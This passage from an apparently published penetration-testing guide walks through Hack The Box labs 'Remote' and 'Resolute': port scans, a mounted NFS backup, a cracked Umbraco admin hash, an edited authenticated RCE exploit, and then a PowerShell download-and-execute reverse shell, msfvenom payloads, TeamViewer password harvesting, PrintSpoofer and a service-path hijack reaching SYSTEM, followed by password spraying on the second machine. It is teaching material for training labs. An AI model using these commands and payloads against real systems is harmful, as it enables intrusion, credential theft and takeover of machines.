6 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-title: Home - Acme Widgets
10 111/tcp open rpcbind 2-4 (RPC #100000)
11 | rpcinfo:
12 | program version port/proto service
13 | 100000 2,3,4 111/tcp rpcbind
14 | 100000 2,3,4 111/tcp6 rpcbind
15 | 100000 2,3,4 111/udp rpcbind
16 | 100000 2,3,4 111/udp6 rpcbind
17 | 100003 2,3 2049/udp nfs
18 | 100003 2,3 2049/udp6 nfs
19 | 100003 2,3,4 2049/tcp nfs
20 | 100003 2,3,4 2049/tcp6 nfs
21 | 100005 1,2,3 2049/tcp mountd
22 | 100005 1,2,3 2049/tcp6 mountd
23
hide01.ir
| 100005 1,2,3 2049/udp mountd
24 | 100005 1,2,3 2049/udp6 mountd
25 | 100021 1,2,3,4 2049/tcp nlockmgr
26 | 100021 1,2,3,4 2049/tcp6 nlockmgr
27 | 100021 1,2,3,4 2049/udp nlockmgr
28 | 100021 1,2,3,4 2049/udp6 nlockmgr
29 | 100024 1 2049/tcp status
30 | 100024 1 2049/tcp6 status
31 | 100024 1 2049/udp status
32 |_ 100024 1 2049/udp6 status
33 135/tcp open msrpc Microsoft Windows RPC
34 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
35 445/tcp open microsoft-ds?
36 2049/tcp open mountd 1-3 (RPC #100005)
37 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
38 |_http-server-header: Microsoft-HTTPAPI/2.0
39 |_http-title: Service Unavailable
40 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
41 |_http-server-header: Microsoft-HTTPAPI/2.0
42 |_http-title: Not Found
43 9685/tcp filtered unknown
44 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
45 |_http-server-header: Microsoft-HTTPAPI/2.0
46 |_http-title: Not Found
47 49664/tcp open msrpc Microsoft Windows RPC
48 49665/tcp open msrpc Microsoft Windows RPC
49 49666/tcp open msrpc Microsoft Windows RPC
50 49667/tcp open msrpc Microsoft Windows RPC
51 49678/tcp open msrpc Microsoft Windows RPC
52 49679/tcp open msrpc Microsoft Windows RPC
53 49680/tcp open msrpc Microsoft Windows RPC
54 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
55 Host script results:
56 |_clock-skew: 1h02m39s
57 | smb2-security-mode:
58 | 2.02:
59 |_ Message signing enabled but not required
60 | smb2-time:
61 | date: 2021-01-05T12:17:11
62 |_ start_date: N/A

On port 80, there is a website for ACME Widgets


hide01.ir

Home page of Remote on port 80

The website has references to Umbraco in the source code and on the site itself as an
address. Searching for Umbraco on the Internet reveals that Umbraco is a content
management system (CMS) and that it has a login page that is normally located at
http;//remote.htb/umbraco. Navigating to that page gets a login prompt:
hide01.ir

Login page for http://remote.htb/umbraco

This doesn't accept default credentials of admin/admin, admin/password, guest/guest etc.


So turning to the FTP site, this accepts anonymous logins but there is nothing in the
directory it has access to and we can't write either.

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $ftp remote.htb
3 Connected to remote.htb.
4 220 Microsoft FTP Service
5 Name (remote.htb:rin): anonymous
6 331 Anonymous access allowed, send identity (e-mail name) as password.
7 Password:
8 230 User logged in.
9 Remote system type is Windows_NT.
10 ftp> dir
11 200 PORT command successful.
12 125 Data connection already open; Transfer starting.
13 226 Transfer complete.
14 ftp> pwd
15 257 "/" is current directory.
16 ftp> put afile.txt
17 local: afile.txt remote: afile.txt
18 200 PORT command successful.
19 550 Access is denied.
20 ftp>
hide01.ir
Looking at the nmap output, we can see that the machine has NFS (Network File System)
running (the RPC services nfs, mountd on ports 111 and 2049). NFS is the unix network file
sharing service and we can use the utility showmount (installed from the package nfs-
common) to list any available shares:

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $showmount -e remote.htb
3 Export list for remote.htb:
4 /site_backups (everyone)

We can then mount the directory /site_backups with the mount command:

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $mkdir site_backups
3 ┌─[rin@parrot]─[~/boxes/Remote]
4 └──╼ $sudo mount -t nfs remote.htb:/site_backups site_backups/

The contents of this directory are:

1 ┌─[rin@parrot]─[~/boxes/Remote/site_backups]
2 └──╼ $ls -al
3 total 119
4 drwx------ 2 nobody 4294967294 4096 Feb 24 2020 .
5 drwxr-xr-x 1 rin rin. 50 Jan 5 19:38 ..
6 drwx------ 2 nobody 4294967294 64 Feb 21 2020 App_Browsers
7 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 App_Data
8 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 App_Plugins
9 drwx------ 2 nobody 4294967294 64 Feb 21 2020 aspnet_client
10 drwx------ 2 nobody 4294967294 49152 Feb 21 2020 bin
11 drwx------ 2 nobody 4294967294 8192 Feb 21 2020 Config
12 drwx------ 2 nobody 4294967294 64 Feb 21 2020 css
13 -rwx------ 1 nobody 4294967294 152 Nov 2 2018 default.aspx
14 -rwx------ 1 nobody 4294967294 89 Nov 2 2018 Global.asax
15 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Media
16 drwx------ 2 nobody 4294967294 64 Feb 21 2020 scripts
17 drwx------ 2 nobody 4294967294 8192 Feb 21 2020 Umbraco
18 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Umbraco_Client
19 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Views
20 -rwx------ 1 nobody 4294967294 28539 Feb 20 2020 Web.config
hide01.ir
This looks like the umbraco website files. Searching on the Internet again for details of
where Umbraco stores credentials, we note that these are stored normally in the database
which by default is Microsoft SQL Server Compact Edition. This database is stored in a file
with an extension of sdf. For Umbraco, this is normally stored in the file
App_Data/Umbraco.sdf. If you just looked at the Web.config file, this also references the
data source information:

1 <connectionStrings>
2 <remove name="umbracoDbDSN" />
3 <add name="umbracoDbDSN"
4 connectionString="Data Source=|DataDirectory|\Umbraco.sdf;Flush Interval
5 providerName="System.Data.SqlServerCe.4.0" />
6 <!-- Important: If you're upgrading Umbraco, do not clear the connection
7 string / provider name during your web.config merge. -->
8 </connectionStrings>

Theoretically, it should be possible to open the sdf file using a variety of different
approaches on a Windows machine. When I tried this however, the database wouldn't open.
An easier approach is to simply do strings on the database to extract all of the textual
information and then grep for users. If we do this, we find a hash of a password for the user
admin in the file:

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $strings Umbraco.sdf | grep admin
3 Administratoradmindefaulten-US
4 Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
5 Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa
6 {"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
7 [email protected]
8 {"hashAlgorithm":"SHA1"}[email protected]
9 feb1a998-d3bf-406a-b30b-e269d7abdf50
10 [email protected]
11 {"hashAlgorithm":"SHA1"}[email protected]
12 82756c26-4321-4d27-b429-1b5c7c4f882f
hide01.ir
Cracking the hash (b8be16afba8c314ad33d812f22a04991b90e2aaa) with John The
Ripper reveals the password baconandcheese

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 …
4 Using default input encoding: UTF-8
5 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
6 Warning: no OpenMP support for this hash type, consider --fork=2
7 Press 'q' or Ctrl-C to abort, almost any other key for status
8 baconandcheese (?)

Logging into the Umbraco site with user [email protected] and password baconandcheese
gives us the admin site

Admin page for remote.htb umbraco site


hide01.ir
In the help page we note that the version of Umbraco is 7.12.4

Help page for remote.htb umbraco site

Using searchsploit, we find an authenticated remote code execution exploit for this
particular version

1 ┌─[oztechmuse@parrot]─[~/boxes/Remote]
2 └──╼ $searchsploit umbraco
3 -------------------------- ---------------------------------
4 Exploit Path
5 -------------------------- ---------------------------------
6 Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/1967
7 Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/
8 Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting | php/webapps/4

We can copy the Python exploit to our local directory:

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $searchsploit -m aspx/webapps/46153.py
3 Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
4 URL: https://www.exploit-db.com/exploits/46153
5 Path: /usr/share/exploitdb/exploits/aspx/webapps/46153.py
6
hide01.ir
File Type: Python script, ASCII text executable, with CRLF line terminator
7 Copied to: /home/rin/boxes/Remote/46153.py

We need to change the cmd string and the authentication and host details

1 { string cmd = "wget http://10.10.14.117:8082/afile"; \


2 System.Diagnostics.Process proc = new System.Diagnostics.Process();\
3 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cm
4 proc.StartInfo.UseShellExecute = false; \
5 proc.StartInfo.RedirectStandardOutput = true; \
6 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return out
7 </msxsl:script><xsl:template match="/"> <xsl:value-of
8 select="csharp_user:xml()"/>\
9 </xsl:template> </xsl:stylesheet> ';
10 login = "[email protected];
11 password="baconandcheese";
12 host = "http://remote.htb";

We can run a Python web server on port 8082 and run the exploit to verify that we get a hit
which we do:

1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $python3 -m http.server 8082
3 Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
4 10.129.1.153 - - [05/Jan/2021 21:04:20] code 404, message File not found
5 10.129.1.153 - - [05/Jan/2021 21:04:20] "GET /afile HTTP/1.1" 404 -

To get a reverse shell, we could use Metasploit but we can just as easily use Nishang
(https://github.com/samratashok/nishang). We have used this before, so we can use
Invoke-PowerShellTcp.ps1 and put the following line at the bottom of the file and rename it
as revsh.ps1

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.117 -Port 6001


hide01.ir
We can then start a netcat listener on our machine and change the code of the exploit to
download and execute the revsh.ps1 script. To do that, we can use the PowerShell
command Invoke-WebRequest (IWR) to download the file and then execute it using Invoke-
Expression (IEX). The code would then look like:

1 { string cmd = "IEX(IWR http://10.10.14.117:8082/revsh.ps1 -UserBasicParsi


2 System.Diagnostics.Process proc = new System.Diagnostics.Process();\
3 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cm
4 proc.StartInfo.UseShellExecute = false; \
5 proc.StartInfo.RedirectStandardOutput = true; \
6 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return out
7 </msxsl:script><xsl:template match="/"> \
8 <xsl:value-of select="csharp_user:xml()"/>\
9 </xsl:template> </xsl:stylesheet> ';
10 login = "[email protected];
11 password="baconandcheese";
12 host = "http://remote.htb";

When we execute the exploit, we get a hit on the Python web server and then our netcat
listener is invoked:

1 ┌─[oztechmuse@parrot]─[~]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.153] 49691
5 Windows PowerShell running as user REMOTE$ on REMOTE
6 Copyright (C) 2015 Microsoft Corporation. All rights reserved.
7 PS C:\windows\system32\inetsrv>

When we run whoami /all we find that we are the IIS user (iis apppool\defaultapppool) and
that there are no other regular users on the machine other than Administrator. If we look in
c:\Users\Public, we find the user.txt file with the flag. The next thing we can do is to
download and run winPEAS.exe. We can use the winPEAS.exe program that is in the
winPEAS/winPEASexe/winPEAS/bin/x64/Release directory. You can download it to the
c:\Users\Public\Downloads using the PowerShell

wget http://10.10.14.117:8082/winPEAS.exe -OutFile peas.exe


hide01.ir
Runing this, we see that winPEAS reports, we get a number of exploitable escalation paths
reported. Firstly there is a list of OS level vulnerabilities related to the specific build. We will
leave those for the moment to see what other options area available.

1 [!] CVE-2019-0836 : VULNERABLE


2 [>] https://exploit-db.com/exploits/46718
3 [>] https://decoder.cloud/2019/04/29/combinig-luafv-
4 postluafvpostreadwrite-race-condition-pe-with-diaghub-
5 collector-exploit-from-standard-user-to-system/
6 [!] CVE-2019-0841 : VULNERABLE
7 [>] https://github.com/rogue-kdc/CVE-2019-0841
8 [>] https://rastamouse.me/tags/cve-2019-0841/
9 [!] CVE-2019-1064 : VULNERABLE
10 [>] https://www.rythmstick.net/posts/cve-2019-1064/
11 [!] CVE-2019-1130 : VULNERABLE
12 [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
13 [!] CVE-2019-1253 : VULNERABLE
14 [>] https://github.com/padovah4ck/CVE-2019-1253
15 [!] CVE-2019-1315 : VULNERABLE
16 [>] https://offsec.almond.consulting/windows-error-reporting-
17 arbitrary-file-move-eop.html
18 [!] CVE-2019-1385 : VULNERABLE
19 [>] https://www.youtube.com/watch?v=K6gHnr-VkAg
20 [!] CVE-2019-1388 : VULNERABLE
21 [>] https://github.com/jas502n/CVE-2019-1388
22 [!] CVE-2019-1405 : VULNERABLE
23 [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-
24 events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-
25 elevation-to-system-via-the-upnp-device-host-service-and-
26 the-update-orchestrator-service/

A potentially easier path to escalation is the fact that our account has access to the
configuration of the UsoSvc which means that we can change the path of the binary it
points to and run our own script or binary. This looks frar more exploitable. But let us
continue and look if there is anything else.

1 [+] Modifiable Services


2 [?] Check if you can modify any service https://book.hacktricks.xyz/
3 windows/windows-local-privilege-escalation#services
4
hide01.ir
LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
5 UsoSvc: AllAccess, Start
6 Looking at the non-Microsoft services on the machine, you will notice
7 that there is a service called TeamViewer that is running. This is an
8 application that allows remote desktop access.
9 [+] Interesting Services -non Microsoft-
10 [?] Check if you can overwrite some service binary or perform a DLL
11 hijacking, also check for unquoted paths
12 https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#se
13 TeamViewer7(TeamViewer GmbH - TeamViewer 7)
14 ["C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"] -
15 Auto - Running
16 TeamViewer Remote Software
17 winPEAS doesn't print out a version but navigating to the director it is
18 installed in c:\Program Files (x86)\TeamViewer\Version7, we find a log fil
19 TeamViewer7_Logfile.log that we can extract the version from
20 cat TeamViewer7_Logfile.log | findstr -i version
21 Version: 7.0.43148
22 AppPath: C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe

This version of TeamViewer kept an encrypted version of passwords in the Windows


registry and the key and IV are known (https://whynotsecurity.com/blog/teamviewer/)
which means that they can be decrypted. Metasploit has a module to harvest TeamViewer
credentials. So this is certainly something we can try.

A final exploit that is open to us is one that makes use of the SeImpersonatePrivilege which
can be exploited using Juicy Potato which we have done on another machine earlier in this
book. We will do this with another technique using an application called PrintSpoofer
(https://github.com/itm4n/PrintSpoofer)

Let us start with the TeamViewer exploit. To do this, we will use Metasploit and so we need
to get a meterpreter shell. So we can create a meterpreter reverse shell with msfvenom:

1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.117 \


2 LPORT=4444 -f exe > metsh.exe

We can then copy that to the Remote machine as before using wget and then running the
binary once we have set up a meterpreter handler in Metasploit using exploit/multi/handler
hide01.ir
and setting the options of LHOST and Payload to match what we used in msfvenom. After
running the handler, we can run the meterpreter reverse shell and establish a session.

Once in the session, we can background it and then search for TeamViewer. This gives us a
module windows/gather/credentials/teamviewer_passwords which we can then run to get
the stored password:

1 meterpreter > bg
2 [*] Backgrounding session 1...
3 msf6 exploit(multi/handler) > search teamviewer
4 Matching Modules
5 ================
6 # Name Disclosure Date Rank Check Description
7 - ---- --------------- ---- ----- -----------
8 0 auxiliary/server/teamviewer_uri_smb_redirect normal No TeamViewer
9 Unquoted URI Handler SMB Redirect
10 1 post/windows/gather/credentials/teamviewer_passwords normal
11 No Windows Gather TeamViewer Passwords
12 Interact with a module by name or index. For example info 1, use 1 or
13 use post/windows/gather/credentials/teamviewer_passwords
14 msf6 exploit(multi/handler) > use 1
15 msf6 post(windows/gather/credentials/teamviewer_passwords) > options
16 Module options (post/windows/gather/credentials/teamviewer_passwords):
17 Name Current Setting Required Description
18 ---- --------------- -------- -----------
19 SESSION yes The session to run this module on.
20 WINDOW_TITLE TeamViewer no Specify a title for getting the window handle,
21 e.g. TeamViewer
22 msf6 post(windows/gather/credentials/teamviewer_passwords) > set SESSION 1
23 SESSION => 1
24 msf6 post(windows/gather/credentials/teamviewer_passwords) > run
25 [*] Finding TeamViewer Passwords on REMOTE
26 [+] Found Unattended Password: !R3m0te!
27 [+] Passwords stored in: /root/.msf4/loot/20210106122808_default_
28 10.129.1.153_host.teamviewer__511687.txt
29 [*] <---------------- | Using Window Technique | ---------------->
30 [*] TeamViewer's language setting options are ''
31 [*] TeamViewer's version is ''
32 [-] Unable to find TeamViewer's process
33 [*] Post module execution completed

This gives us the password !R3m0te!which by itself is not useful but we can see if it will
work with the Administrator user using evil-winrm which it does!
hide01.ir
1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/Remote]
2 └──╼ $evil-winrm -u Administrator -p '!R3m0te!' -i remote.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
6 remote\administrator

To run the exploit for PrintSpoofer, download the executable from the release on GitHub
(https://github.com/itm4n/PrintSpoofer). We can use our meterpreter session to upload it
and then simply run it in a shell to get access to nt authority\system

1 meterpreter > upload /home/rin/Downloads/PrintSpoofer64.exe \


2 "c:\users\public\downloads\spoof.exe"
3 [*] uploading : /home/oztechmuse/Downloads/PrintSpoofer64.exe ->
4 c:\users\public\downloads\spoof.exe
5 [*] Uploaded 26.50 KiB of 26.50 KiB (100.0%):
6 /home/rin/Downloads/PrintSpoofer64.exe -> c:\users\public\downloads\sp
7 [*] uploaded : /home/rin/Downloads/PrintSpoofer64.exe ->
8 c:\users\public\downloads\spoof.exe
9 meterpreter > shell
10 Process 8844 created.
11 Channel 2 created.
12 Microsoft Windows [Version 10.0.17763.107]
13 (c) 2018 Microsoft Corporation. All rights reserved.
14 C:\users\public\downloads>.\spoof -i -c cmd
15 .\spoof -i -c cmd
16 [+] Found privilege: SeImpersonatePrivilege
17 [+] Named pipe listening...
18 [+] CreateProcessAsUser() OK
19 Microsoft Windows [Version 10.0.17763.107]
20 (c) 2018 Microsoft Corporation. All rights reserved.
21 C:\Windows\system32>whoami
22 whoami
23 nt authority\system

Finally, the third way of exploiting this box is to change the UsoSvc path. We can use the
application sc.exe to query the status of the service, stop it, change the path it is using for
the service binary and then start it again. We can use the same meterpreter reverse shell we
used previously.
hide01.ir
In Metasploit, we can go back to exploit/multi/handler and run it again. We don't need to
change anything and we can run using the command with the -j flag so that it runs in the
background.

On the Remote machine, we then use sc.exe as outlined above:

1 PS C:\users\public\Downloads> sc.exe query usosvc


2 SERVICE_NAME: usosvc
3 TYPE : 30 WIN32
4 STATE : 4 RUNNING
5 (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
6 WIN32_EXIT_CODE : 0 (0x0)
7 SERVICE_EXIT_CODE : 0 (0x0)
8 CHECKPOINT : 0x0
9 WAIT_HINT : 0x0
10 PS C:\users\public\Downloads> sc.exe stop usosvc
11 SERVICE_NAME: usosvc
12 TYPE : 30 WIN32
13 STATE : 3 STOP_PENDING
14 (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
15 WIN32_EXIT_CODE : 0 (0x0)
16 SERVICE_EXIT_CODE : 0 (0x0)
17 CHECKPOINT : 0x3
18 WAIT_HINT : 0x7530
19 PS C:\users\public\Downloads> sc.exe CONFIG usosvc `
20 binPath="cmd.exe /c c:\users\public\downloads\metsh.exe"
21 PS C:\users\public\Downloads> sc.exe start usosvc
22 [SC] StartService FAILED 1053:
23 The service did not respond to the start or control request in a timely fa
24 In Metasploit, we will get a session as NT AUTHORITY\SYSTEM
25 msf6 exploit(multi/handler) > run -j
26 [*] Exploit running as background job 2.
27 [*] Exploit completed, but no session was created.
28 [*] Started reverse TCP handler on 10.10.14.117:4444
29 msf6 exploit(multi/handler) > [*] Sending stage (175174 bytes) to 10.129.1
30 msf6 exploit(multi/handler) > sessions
31 Active sessions
32 ===============
33 Id Name Type Information Connection
34 -- ---- ---- ----------- ----------
35 1 meterpreter x86/windows IIS APPPOOL\DefaultAppPool @ REMOTE
36 10.10.14.117:4444 -> 10.129.1.153:49884 (10.129.1.153)
37 4 meterpreter x86/windows 10.10.14.117:4444 -> 10.129.1.153:49900 (10.129
38 msf6 exploit(multi/handler) > sessions -i 4
39 [*] Starting interaction with 4...
40 meterpreter > [*] Meterpreter session 4 opened (10.10.14.117:4444 ->
41 10.129.1.153:49900) at 2021-01-06 13:15:47 +0800
42
hide01.ir
meterpreter > getuid
43 Server username: NT AUTHORITY\SYSTEM

An important thing to notice about these different approaches is that they result in
becoming different things. In the case of getting the Administrator password through
TeamViewer, we actually have access to the Administrator account itself. The other
approaches escalate us to the LocalSystem account which is a service user account who's
account token includes the SIDs of NT AUTHORITY\SYSTEM and BUILTIN\Administrators.
This account does not have a password and so, although more powerful in some ways
than the Administrator account, presents different challenges when using it to establish
persistence and other activities.

Another important consideration is that even though winPEAS suggested CVEs that might
be exploitable for this version of the operating system, all of them come with certain
conditions that need to be satisfied before they are able to be exploited. CVE-2019-1130 for
example suggests using a proof of concept
(https://github.com/S3cur3Th1sSh1t/SharpByeBear) that exploits a race condition. This
vulnerability is a timing problem that necessitates multiple cores on the machine and
access to user programs Edge or Cortana. We don't have access to these programs in this
situation. Likewise, a Metasploit module that exploits CVE-2019-1405 (and CVE-2019-1322)
has a Metasploit module that fails to work on this machine. So just because a machine is
theoretically vulnerable to a CVE because it has the correct build number doesn't mean all
conditions will be present to make it exploitable.
hide01.ir
Exercise: Enumeration and privilege
escalation on Resolute
We introduced this machine previously when we looked at rpcclient and RIDs and SIDs. We
will go through it again bearing in mind that we have covered the first step previously.

Resolute is a Windows Active Directory Domain Controller and the initial access is obtained
after trying a default password that is found through enumeration of AD domain users
using RPCClient. Through this discover that the password works for user Melanie and once
on the box, we use winPEAS to discover a hidden directory that has been used to audit
PowerShell script use. There is another password in this file for the user Ryan. Getting onto
the box as Ryan, we again enumerate and discover that this user is part of the DNS Admin
group. This can be exploited to load a reverse shell DLL using DNSCMD to get an elevated
shell.

An nmap scan of the box reveals that it is likely an AD domain controller with DNS,
Kerberos, LDAP, SMB and RPC services exposed. The domain name is megabank.local and
the computer name is resolute.

1 PORT STATE SERVICE VERSION


2 53/tcp open domain Simple DNS Plus
3 88/tcp open kerberos-sec Microsoft Windows Kerberos
4 135/tcp open msrpc Microsoft Windows RPC
5 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
6 389/tcp open ldap Microsoft Windows Active Directory LDAP
7 (Domain: megabank.local, Site: Default-First-Site-Name)
8 445/tcp open microsoft-ds Windows Server 2016 Standard 14393
9 microsoft-ds (workgroup: MEGABANK)
10 464/tcp open kpasswd5?
11 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
12 636/tcp open tcpwrapped
13 3268/tcp open ldap Microsoft Windows Active Directory LDAP
14 (Domain: megabank.local, Site: Default-First-Site-Name)
15 3269/tcp open tcpwrapped
16 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
17 |_http-server-header: Microsoft-HTTPAPI/2.0
18 |_http-title: Not Found
19 9389/tcp open mc-nmf .NET Message Framing
20 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
21 |_http-server-header: Microsoft-HTTPAPI/2.0
22
hide01.ir
|_http-title: Not Found
23 49664/tcp open msrpc Microsoft Windows RPC
24 49665/tcp open msrpc Microsoft Windows RPC
25 49666/tcp open msrpc Microsoft Windows RPC
26 49667/tcp open msrpc Microsoft Windows RPC
27 49671/tcp open msrpc Microsoft Windows RPC
28 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
29 49677/tcp open msrpc Microsoft Windows RPC
30 49683/tcp open msrpc Microsoft Windows RPC
31 49712/tcp open tcpwrapped
32 Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
33 Host script results:
34 |_clock-skew: mean: 2h49m41s, deviation: 4h37m09s, median: 9m39s
35 | smb-os-discovery:
36 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
37 | Computer name: Resolute
38 | NetBIOS computer name: RESOLUTE\x00
39 | Domain name: megabank.local
40 | Forest name: megabank.local
41 | FQDN: Resolute.megabank.local
42 |_ System time: 2021-01-07T04:37:05-08:00
43 | smb-security-mode:
44 | account_used: <blank>
45 | authentication_level: user
46 | challenge_response: supported
47 |_ message_signing: required
48 | smb2-security-mode:
49 | 2.02:
50 |_ Message signing enabled and required
51 | smb2-time:
52 | date: 2021-01-07T12:37:03
53 |_ start_date: 2021-01-07T12:31:38

Looking at SMB we don't find any shares exposed:

1 ┌─[oztechmuse@parrot]─[~/boxes/Resolute]
2 └──╼ $crackmapexec smb resolute.htb
3 SMB 10.129.1.152 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64
4 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)

Using rpcclient with null session (user blank and no password), we do get in:
hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $rpcclient -U '' -N resolute.megabank.local
3 rpcclient $>
4 Running enumdomusers, we get a list of the AD users:
5 rpcclient $> enumdomusers
6 user:[Administrator] rid:[0x1f4]
7 user:[Guest] rid:[0x1f5]
8 user:[krbtgt] rid:[0x1f6]
9 user:[DefaultAccount] rid:[0x1f7]
10 user:[ryan] rid:[0x451]
11 user:[marko] rid:[0x457]
12 user:[sunita] rid:[0x19c9]
13 user:[abigail] rid:[0x19ca]
14 user:[marcus] rid:[0x19cb]
15 user:[sally] rid:[0x19cc]
16 user:[fred] rid:[0x19cd]
17 user:[angela] rid:[0x19ce]
18 user:[felicia] rid:[0x19cf]
19 user:[gustavo] rid:[0x19d0]
20 user:[ulf] rid:[0x19d1]
21 user:[stevie] rid:[0x19d2]
22 user:[claire] rid:[0x19d3]
23 user:[paulo] rid:[0x19d4]
24 user:[steve] rid:[0x19d5]
25 user:[annette] rid:[0x19d6]
26 user:[annika] rid:[0x19d7]
27 user:[per] rid:[0x19d8]
28 user:[claude] rid:[0x19d9]
29 user:[melanie] rid:[0x2775]
30 user:[zach] rid:[0x2776]
31 user:[simon] rid:[0x2777]
32 user:[naoki] rid:[0x2778]

Taking the users and putting it into a file rids.txt and then using cut to extract just the
usernames we can create a file of those:

1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $cat rids.txt | cut -d '[' -f 2 | cut -d ']' -f 1 > users.txt

Back to rpcclient, we can use querydispinfo to get more information about the users we
found:
hide01.ir
1 rpcclient $> querydispinfo
2 <SNIP>
3 index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)
4 Desc: Key Distribution Center Service Account
5 index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null)
6 Desc: (null)
7 index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak
8 Desc: Account created. Password set to Welcome123!
9 index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null)
10 Desc: (null)
11 index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null)
12 Desc: (null)
13 <SNIP>

That gives us a password that was used when accounts were created of Welcome123! We
can try this with crackmapexec to test it with all of the usernames we have already
discovered:

1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $crackmapexec smb resolute.htb -u ./users.txt -p 'Welcome123!'
3 <SNIP>
4 SMB 10.129.1.152 445 RESOLUTE [-] megabank.local\per:Welcome123!
5 STATUS_LOGON_FAILURE
6 SMB 10.129.1.152 445 RESOLUTE [-] megabank.local\claude:Welcome123!
7 STATUS_LOGON_FAILURE
8 SMB 10.129.1.152 445 RESOLUTE [+] megabank.local\melanie:Welcome123!

This gives us a login with the user melanie that we can then use evil-winrm to logon with
and get the user.txt file:

1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $evil-winrm -u melanie -p 'Welcome123!' -i resolute.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\melanie\Documents>

We can now upload winPEAS.exe using evil-winrm's built in feature of uploading files:
hide01.ir
1 *Evil-WinRM* PS C:\Users\melanie\Documents> upload winPEAS.exe
2 Info: Uploading winPEAS.exe to C:\Users\melanie\Documents\winPEAS.exe
3 Data: 629416 bytes of 629416 bytes copied
4 Info: Upload successful!

When we run winPEAS, you should notice that in the PowerShell description, it mentions a
directory for transcripts:

1 [+] PowerShell Settings


2 PowerShell v2 Version: 2.0
3 PowerShell v5 Version: 5.1.14393.0
4 Transcription Settings: EnableTranscripting : 0
5 OutputDirectory : C:\PSTranscipts
6 EnableInvocationHeader : 0
7 Module Logging Settings:
8 Scriptblock Logging Settings: EnableScriptBlockLogging : 0
9 PS history file:
10 PS history size:

